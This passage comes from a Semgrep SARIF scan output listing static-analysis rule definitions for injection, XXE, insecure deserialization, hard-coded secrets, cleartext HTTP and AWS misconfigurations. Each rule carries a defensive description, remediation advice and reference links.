Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","id":"java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","name":"java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","id":"kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","name":"kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted."},"help":{"markdown":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.uri.http-url.http-url)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.uri.http-url.http-url","id":"cpp.lang.security.uri.http-url.http-url","name":"cpp.lang.security.uri.http-url.http-url","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.uri.http-url.http-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve)\n","text":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","id":"terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","name":"terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","id":"python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","name":"python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts."},"help":{"markdown":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active)\n - [https://cwe.mitre.org/data/definitions/778.html](https://cwe.mitre.org/data/definitions/778.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_function#mode](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_function#mode)\n - [https://docs.aws.amazon.com/lambda/latest/dg/services-xray.html](https://docs.aws.amazon.com/lambda/latest/dg/services-xray.html)\n","text":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","id":"terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","name":"terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","MEDIUM CONFIDENCE","OWASP-A09:2021 Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","id":"python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","name":"python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument."},"help":{"markdown":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to)\n - [https://brakemanscanner.org/docs/warning_types/link_to/](https://brakemanscanner.org/docs/warning_types/link_to/)\n - [https://brakemanscanner.org/docs/warning_types/link_to_href/](https://brakemanscanner.org/docs/warning_types/link_to_href/)\n","text":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","id":"ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","name":"ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","id":"kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","name":"kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","id":"ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","name":"ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'."},"help":{"markdown":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode)\n","text":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","id":"ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","name":"ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE."},"help":{"markdown":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository#image_tag_mutability](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository#image_tag_mutability)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n","text":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","id":"terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","name":"terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-numpy-pickle-aws-lambda.tainted-numpy-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE 